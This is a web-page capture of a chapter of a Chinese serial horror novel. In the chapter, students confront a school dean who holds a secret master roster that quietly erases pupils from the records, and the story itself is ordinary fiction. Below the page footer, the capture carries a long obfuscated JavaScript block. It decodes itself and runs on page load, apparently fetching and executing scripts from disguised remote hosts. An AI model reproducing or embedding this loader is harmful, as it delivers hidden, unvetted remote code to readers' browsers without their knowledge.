首页
第218章 他手里有晚读总表
返回

第218章 他手里有晚读总表点名时,却不承认筛除这个词先亮了

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge678.com,更新快,无弹窗!


    第218章他手里有晚读总表点名时,却不承认筛除这个词先亮了(第1/2页)
    门外那个人没有立刻再说话。
    走廊里只剩下旧灯管轻微的电流声,像有细砂从玻璃管里一点点往下漏。机房门板薄,外面的气息却压得很实,明明隔着一层门,许沉还是能感觉到那股几乎没有温度的沉稳,像一张早就填满的表,正贴着门缝往里压。
    老何站在门边,手没有去碰把手,只是隔着门板看着那片发暗的木纹。
    “你说你是谁。”他又问了一遍。
    门外的人沉默了两秒,声音依旧平静。
    “教导主任。”
    这一次,许沉听得很清楚。
    不是自称,也不是敷衍式的身份抬头,而是一种近乎公文式的确认。三个字一落地,就像把某个本来躲在流程背后的权限直接盖了章。那种声音,她以前只在全校大会上听过一次,隔着喇叭,隔着风,隔着整片操场上密密麻麻的人头。那时她只觉得这种声音稳得像尺,今天才发现,尺不是拿来量人的,是拿来裁人的。
    沈砚往前半步,刚要开口,被老何抬手压住。
    老何没有急着去开门,而是盯着门板低声问:“你来做什么?”
    “看你们手里的东西。”门外的人答得很快,“顺便把流程讲清楚。”
    “流程?”
    “你们不是已经摸到补写了吗?”他顿了一下,像是在门外翻什么纸,“那就该知道,事情到了这一步,不是靠猜。别把几个名字弄乱,就以为是学校在做鬼。”
    许沉心口一紧。
    对方的语气仍然平静,可每一句话都像在把他们刚刚查出来的东西往回拨,偏偏又不完全否认。那种感觉比直接翻脸更难受,因为他不是在躲,他是在承认某些东西已经被看见了,只是他不打算让这些东西按照他们的理解继续往下长。
    “你手里有晚读总表?”老何忽然问。
    门外安静了一下。
    这次沉默比前面都长,长得让机房里几个人都能清楚听见自己的呼吸。
    过了几秒,外面才传来一句很轻的反问。
    “谁告诉你们这个词的?”
    老何没回答,只把掌心从门板上慢慢挪开,指节却一点点绷紧了。
    “所以你有。”他说。
    门外那人没有否认。
    许沉的眼皮猛地跳了一下。
    晚读总表。
    这四个字她还是第一次听见,但一听就知道不是普通的点名册。黑框名单也好,同步单也好,临取流程也好,之前所有零碎的东西,像是都在往这张总表上归。她忽然明白老何为什么会在门外那人开口后立刻收声。因为如果对方真的拿着晚读总表,那他就不是来问话的,他是来核对的。核对他们知道到哪一步了,核对哪一页已经翻开,核对哪些名字已经开始重新亮起来。
    “把门打开。”门外的人重复了一遍,“我看一眼你们手里的同步单。”
    “为什么?”邱见深忍不住压着嗓子问了一句。
    门外的人像是早就知道里面会有人接话,语气没有任何波动。
    “因为那张单子今天会跑到点名里去。”他说,“你们不看总表,不知道它会怎么连到点名。总表不拦,下一轮晚读一开始,班里就会多出一串不该出现的空位。到时候你们连谁被筛出去都来不及记。”
    许沉听见“筛出去”三个字,背脊一下僵住了。
    她本能地以为自己听错了,或者对方说错了。可就在那一瞬间,门外那人似乎也意识到自己说漏了什么,声音停了一下。
    空气像被突然抽紧。
    老何抬眼,盯着门缝,声音很慢:“你刚才说什么?”
    “我说,”门外的人语气淡了一点,“到时候你们连谁被换走都来不及记。”
    “不是这个。”老何的声音更冷了些,“你刚才说筛出去。”
    门外安静。
    许沉握着那张同步单,指尖已经开始发麻。她忽然意识到,这个词很可能才是最关键的。黑框名单、临取流程、附加遗忘栏,这些全都指向“人被从记录里拿走”,可“筛出去”这个说法,才更像制度本身的原话。不是死,不是丢,不是失联,而是筛。像筛面粉一样,留下的才算合格,掉下去的就不算数。
    她的喉咙发紧,视线不自觉落到门板上。
    “你不承认?”老何又问。
    门外的人终于开口,这一次语气里第一次出现了明显的停顿。
    “我不承认这个词。”
    “为什么?”
    “因为学校从来不叫这个词。”他说,“你们听见的,是你们自己补出来的。”
    许沉心里一沉。
    她几乎能想象出对方站在门外时的神情,不急不缓,连拒绝都拒绝得像在修正文档。可就是这种平静,反而让她更清楚地意识到,他不是不知道真相,他是在给真相换名字。他不承认“筛除”,不是因为没有,而是因为这个词一旦亮出来,就会把他也照进去。
    老何像是也想到了同样的地方,声音压得更低:“你手里的总表,是按什么分的?”
    “按晚读出勤、补写完整度、签收稳定性、关联波动。”门外的人答得很快,像早已背熟,“满格留班,低格转记,异常的先列观察,再看值夜记录。”
    “转记?”沈砚低声重复,眉头一下皱起来。
    “转到哪里?”许沉忍不住问。
    门外没有立即回答。
    这短短一顿,像是故意留给他们反应的时间。等到里面几个人都屏住呼吸,那人才开口:“转到该去的地方。”
    “什么叫该去的地方?”
    “教室外的表,宿舍外的表,旧楼的表,值夜室的表。”他停了一下,“总之,不在你们当前可见的位置。”
    许沉听得手心发冷。
    她终于明白了,晚读总表不是单纯的名册,而是一个分流器。它把学生的存在拆散到不同的表里,某个人在班里看不见,不代表消失,只是被转到别的层级;某个人在晚读里缺席,不代表没写,只是被搬进了别的系统。所有人都被挂在不同的记录里,像一串串没来得及断开的线。学校只要不断改表,就能让一个人从任何单一视野里消失。
    “你们为什么要这么做?”许沉盯着门板问。
    门外那人像是听见了一个很普通的问题,语气甚至没有明显波动。
    “为了秩序。”
    这两个字出来的时候,许沉反倒笑不出来了。
    她曾经在很多地方听过这个词。班主任说秩序,值夜老师说秩序,广播说秩序,连晚读教室门上的旧通知都在说秩序。可现在她终于听见有人把这个词放在这么赤裸的地方,后面连一层遮羞布都不加。秩序不是让大家安稳,而是让某些人可以按表收走不稳定的部分。
    “秩序就是筛除?”她问。
    门外静了一下。
    “我不承认筛除这个词。”对方重复了一遍,像在背一条纪律,“我只承认分流、调整、补位、转记。你们现在听到的词,都是情绪化的叫法。”
    “你少来这套。”邱见深忍不住了,声音里都带了火,“人都被弄没了,还说情绪化?”
    门外的人没有动怒,甚至连语速都没有变。
    “人没有弄没。”他说,“只是没有留在原位置。”
    许沉听见这句话,脑子里有一瞬间的空白。
    她猛地抬头,突然明白他为什么一直不肯让“筛除”亮出来。因为一旦承认筛除,就等于承认有一部分人是被有意从系统里剥掉的;可如果说只是没有留在原位置,那一切就还能被解释成管理失误、位置调整、临时转记,甚至连遗忘都能被包装成流程维护。所谓制度最厉害的地方,不是做了什么,而是它总能给自己留一个听上去无害的名字。
    “那你把门开开。”老何忽然说,“你不是要看同步单吗?”
    门外没有立刻回应。
    过了几秒,那把声音才再次响起:“先把你们手里的东西放地上。”
    “什么东西?”
    “同步单,补写栏,和你们记下来的那几页晚读记录。”
    许沉的心一下提到嗓子眼。
    他果然知道。不是猜,是知道他们已经把什么带到了机房,甚至知道有几页晚读记录在她们手里。她刚想说话,老何却先一步抬手,示意她别动。
    “你看完就走?”老何问。
    “看完再说。”
    “那就是不打算让我们留副本。”
    门外的人沉默两秒,没有否认。
    “你们现在拿着副本,没有用。”他说,“总表没在你们手上,点名的时候,你们连改哪一栏都不知道。”
    “点名?”许沉心里一紧,“今晚还要点名?”
    门外那人像是在翻页,纸张轻轻摩擦的声音隔着门板传进来,听着很薄,却让人莫名发冷。
    “当然要点名。”他说,“晚读总表一到,点名就开始。你们不是已经知道会有多名了么?总表不点,多名就会自己涨出来。”
    “多名会涨出来?”许沉追问。
    “名字会按缺口补齐。”对方顿了顿,声音仍旧平,“空位不会留着,空位会先亮。亮了之后,系统会自动补同类项。”
    许沉手指猛地一紧。
    她脑中瞬间掠过一连串之前见过的画面。黑板上突然多出的名字,点名册里被压住的半截字,同桌的姓被先抽走,自己被同步到遗忘栏里。所有这些事情,其实都在指向同一个东西:一旦名单里有空,系统就会想办法补,不是补回人,而是补上能让它继续运转的空位。多出来的名字,不一定是活人,可一定是流程允许存在的名字。
    她深吸一口气,逼着自己冷静:“你到底来干什么?”
    门外的人终于不再绕。
    “来收回你们不该看的那页。”他说,“也来告诉你们,别再碰教导处外面的表。”
    老何眼神一沉:“你在护什么?”
    “我在保系统不断线。”
    “系统?”老何冷笑了一下,“你把它叫系统?”
    门外的人语气第一次有了微不可察的变化,像是某个词触到了他不想碰的地方。
    “你可以叫它制度。”他说,“也可以叫它流程。叫法不重要。”
    “重要的是,”老何盯着门板,一字一句道,“谁在维护。”
    外面沉默了很久。
    那段沉默长得让许沉几乎能听见自己血流的声音。她本能地觉得,对方应该不会回答这个问题。可就在她以为门外的人会继续用那套公文式说法岔过去时,外头却忽然传来一声极轻的叹息。
    “维护的人很多。”他说,“不是一个。”
    许沉心里猛地一颤。
    “很多?”
    “值夜老师,教务,档案室,广播台,年级组。”他顿了顿,“还有你们已经见过的那几个签字的人。”
    老何的眼神瞬间冷得厉害。
    “那教导主任呢?”他问。
    门外的人没有马上回答,只是又翻了一页纸。
    纸页摩擦声在走廊里轻轻响着,像谁在当着他们的面逐项核对。
    “教导主任负责确认。”他说,“不是每一页都要改,但每一页都要有人确认改动后还能继续用。”
    许沉心头一阵发麻。
    (本章未完,请点击下一页继续阅读)第218章他手里有晚读总表点名时,却不承认筛除这个词先亮了(第2/2页)
    确认。
    这两个字比“改”更可怕。改动可能是临时的,确认却意味着默认,意味着知情,意味着制度之上真的有人在看着它被一项项执行。她忽然想到第200章之后那些逐步亮出来的东西,想到总在边缘出现又很快消失的签字痕迹,想到旧实验楼里那张被揉皱的交接单,原来所有线都没有断,只是一直被不同的人接过去,接过去,再接过去。
    “你手里到底拿着什么总表?”许沉忍不住又问了一遍。
    门外的人静了片刻,像是在判断要不要继续说。
    最终,他还是开口了。
    “晚读总表,封楼总表,临取总表。”他说,“还有一份你们暂时不该知道的,叫总点名册。”
    这几个名字一出来,许沉只觉得脊背一阵发冷。
    原来她们之前碰到的都只是分表。真正统管所有东西的,是一个把晚读、封楼、临取全都串起来的大总表。难怪黑框名单会跟宿舍号互相跳,难怪点名册能在广播里和教室里同步,难怪一个人会先在座位上被抹掉,再在寝室表里消失,最后连补写栏都被挂上。不是偶发,是统表联动。
    “总点名册在哪?”沈砚低声问。
    门外的人没有立刻答,像是在等里面的人自己意识到答案。
    “在你们刚才看不到的地方。”他终于说,“教导处、值夜室、广播台都各有一角。只有按时汇总的人,才能拼成完整的一页。”
    老何眉心一跳:“所以你今晚来,是来取哪一角?”
    门外的人答得很快:“来取你们手里这部分记录。”
    “然后呢?”
    “然后把你们今晚点名时会用到的那页送回去。”
    许沉一愣:“送回去?”
    “点名要照总表走。”他说,“你们现在拿着的是错页。错页如果留在你们手里,点名会先乱一轮。乱了,就会多出被误记的人。”
    “误记?”邱见深重复,声音紧得发哑。
    “或者说,”门外的人停顿了一下,像终于换了一个更接近真相、却又更不愿说出口的词,“先亮。”
    许沉呼吸一滞。
    他终于把那个词说出来了。
    不是筛除,是先亮。
    先亮什么?先亮空位,先亮空名,先亮缺失,先亮那些还没被真正写成不存在的部分。她几乎能想象这个流程的样子:总表到手,点名开始,一旦某一格为空,那一格就会先亮在纸上,让负责点名的人知道那里有缺口,然后再由后续流程填补。先亮不是提醒,是宣告。告诉所有人,这里已经可以被处理了。
    “所以你们从不承认筛除。”老何冷冷道。
    “因为我们承认的是先亮。”门外的人语气依然平稳,“先亮后面,才有处理。”
    许沉心里发寒。
    这一刻她终于明白,所谓“不承认筛除这个词先亮了”,不是一句绕口的说法,而是一整套话术防线。只要不说筛除,事情就还能被包在流程里;只要说先亮,后面的删改就都能被称作后续处理。词一换,罪就从主动变成了技术。
    门外那人又敲了三下门。
    “把单子放下。”他说,“我只看,不拿。”
    老何没动。
    “我怎么知道你不会回头改掉?”他问。
    门外的人似乎终于被问住了一秒。
    “因为今晚已经有人先改了。”他说。
    屋里几个人几乎同时一怔。
    许沉猛地抬眼:“谁改了?”
    门外的人没有马上回答,只是把什么东西压在了门外的台面上。隔着门缝,许沉看不见全貌,只能听见纸张边缘被轻轻一掀,随后一条细长的影子从门底落进来,正好滑到机房灯下。
    那是一张折起来的纸。
    老何没有立刻去捡,而是盯着门缝外那一点空白,声音更低了:“你什么意思?”
    “意思是,”门外的人平静地说,“你们今晚看到的总表,不是原页。”
    许沉心脏猛地一收。
    “原页在哪?”她问。
    门外那人没有回答,像是默认这个问题本身就已经超过了他能给出的范围。可他不说,里面的人却已经听懂了大半。原页不在这里,原页还在更上面,或者更早的地方,或者被某个人提前拿走了。现在门外送来的这张,恐怕只是让他们看一眼的替页。
    老何弯下腰,终于把那张纸捡了起来。
    他没有立刻展开,而是先摸了摸纸边,像在确认有没有二次粘接的痕迹。确认无误后,他才慢慢把纸摊开。
    纸一展开,许沉就看见了最上面那一排字。
    晚读总表。
    她的呼吸顿时停了一拍。
    那不是同步单,也不是黑框名单,而是一整页按班级、座位、床位、签收状态排开的总页。字很多,密密麻麻,像一面被压平的墙。可真正让她头皮发麻的,是那页右侧最靠上的一栏。
    那一栏不是“备注”。
    是“先亮位”。
    先亮位下面,已经有几个名字被划了细线。
    有的线很新,黑得发亮,像刚刚才落上去;有的线则像压过许多次,边缘发毛,旧得发灰。许沉的视线顺着那几条线往下扫,在最下面一行,猛地看见了一个她熟悉到不能再熟悉的座位号。
    高二七班,靠窗第二排。
    她脑子里像被什么东西狠狠撞了一下。
    那是她原来的座位。
    而那一行后面,分明还跟着一串姓名。可那姓名只露出前两个字,后面三个字被一道黑线横着压住,像是故意不让人看完。
    “这是谁?”她声音发紧。
    老何盯着那一行,脸色一点点沉了下去。
    门外那人也没有催,只隔着门板说:“所以我说了,你们别乱碰。”
    “这页为什么会有我的座位?”许沉几乎是咬着字问。
    门外的人停了停,像是在选择措辞。
    “因为你们已经进到晚读总表的范围了。”他说,“一旦范围重叠,点名时就会先亮到你们那一页。你现在看到的不是你一个人的位置,是整条关联线的位置。”
    许沉心口发冷。
    原来不是因为她恰好被盯上,而是她已经成了总表的一部分。她和同桌的遗忘同步,她和寝室号的互换,她和补写栏的挂接,全都被归在同一条链上。只要总表一亮,她这个位置就会被一起带出来。
    她咬住牙,想继续问,可老何却忽然抬起手,示意她看纸页最下方。
    那里有一行几乎被折痕压住的小字。
    “夜间点名不得使用原位外表册。”
    “这是什么意思?”沈砚盯着那行字,脸色变了。
    老何的指尖在那行字上停了一下,抬头看向门外,声音沉得吓人。
    “你们今晚准备拿什么点名?”
    门外那人终于不再沉默。
    “总表点名。”他说。
    “那点名册呢?”
    “点名册是给班级看的。”
    “总表是给谁看的?”
    门外静了很久,久到许沉几乎以为对方不会回答了。可最后,那把声音还是落了下来,比之前低了半分,却也更清楚了半分。
    “给确认的人看。”
    老何眼神骤冷。
    “也就是说,今晚不是点名,是核对。”
    “你可以这么理解。”门外的人说,“先亮的,今晚会先被核对。核对完,才轮到补位。”
    许沉的脑海里嗡地一下。
    核对。
    补位。
    她第一次清楚地知道,这套东西不是在选人,而是在把人拆成几次处理。先亮出来的,先核对;核对过的,再补位;补位不稳的,再送去临取。每一步都像是为了让下一步更合理。直到最后,消失的人都能被写成是系统调整后的自然结果。
    门外的人像是已经说够了,最后只补了一句:“你们现在看见总表,是好事,也是坏事。”
    “什么意思?”许沉问。
    “好事是,终于有人摸到真正的源头了。”他说,“坏事是,今晚点名的时候,总表会记住你们在看。”
    话音落下,走廊里的灯忽然又暗了一下。
    不是全黑,只是光线像被什么东西迅速压了一层,门板上那条细窄的缝也跟着沉了沉,像有一只看不见的手从外面轻轻盖住了门。许沉背脊瞬间绷紧,几乎同时听见了机房里终端重新亮屏的轻响。
    屏幕自己开了。
    不是老何碰的,也不是电压回稳,而是那台终端像被谁远程叫醒了一样,慢慢把黑掉的界面又顶了出来。
    一行新字,顺着屏幕底端跳上来。
    “总表点名准备中。”
    许沉怔住。
    下一秒,又一行字浮了出来。
    “先亮位已确认。”
    她的心脏狠狠一沉。
    老何一把把纸页按住,抬头看向门外,眼神已经彻底冷了。
    “你把它带来了。”他说。
    门外那人没有否认,只是很轻地答了一句。
    “我只是让你们看见。”
    那一刻,许沉终于意识到,这个站在门外、说自己是教导主任的人,不一定是来救他们的。他来得太准,知道得太多,像是专门等在这里,把总表递到他们眼前,让他们确认自己已经走到了哪一层。
    也就在这一刻,机房终端屏幕上,那个刚刚亮起的总表页面缓慢地翻动了一页。
    新的一页上,最前面那行班级名单里,突然多出了一行黑色底纹的名字。
    而那名字后面,空空地跟着一格先亮位。
    没有人先说话。
    可许沉看着那行名字,脑中却像被什么狠狠掀开了一下。
    那不是别人的位置。
    那一行,正对着她自己。
    她的呼吸一下子乱了。她几乎不敢确认,却又不得不确认。那页总表在门外那个人出现后,已经开始自己点名了。不是等到明晚,不是等到广播响起,而是从她们把总表翻出来的那一秒开始,系统就已经在照着新亮出来的页面做核对。
    “关掉。”老何低喝一声,伸手去按终端。
    可已经晚了。
    屏幕上那行字像被点燃一样,忽然亮了一下,紧接着,许沉看见那行名字后面的先亮位栏里,慢慢浮出一个极浅的字。
    “许。”
    只亮了一个字。
    却足够让她整个人从头冷到脚。
    门外那人这时才第一次真正压低声音,像是在提醒,也像是在确认。
    “看见了吧。”他说,“这就是我不承认‘筛除’的原因。”
    “因为你们先亮的,不是人。”
    “是空位。”
    机房里没有人再开口。
    终端屏幕上的名字还在一行行往下滑,像一条已经启动的点名带。门外的教导主任没有再催门,也没有走。他只是站在走廊另一端,像在等他们自己决定,究竟是把那张总表放回去,还是把已经亮出来的空位接住。
    而许沉站在原地,指尖死死压着同步单,脑海里只剩一个越来越清楚的念头。
    今晚的点名,已经开始了。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();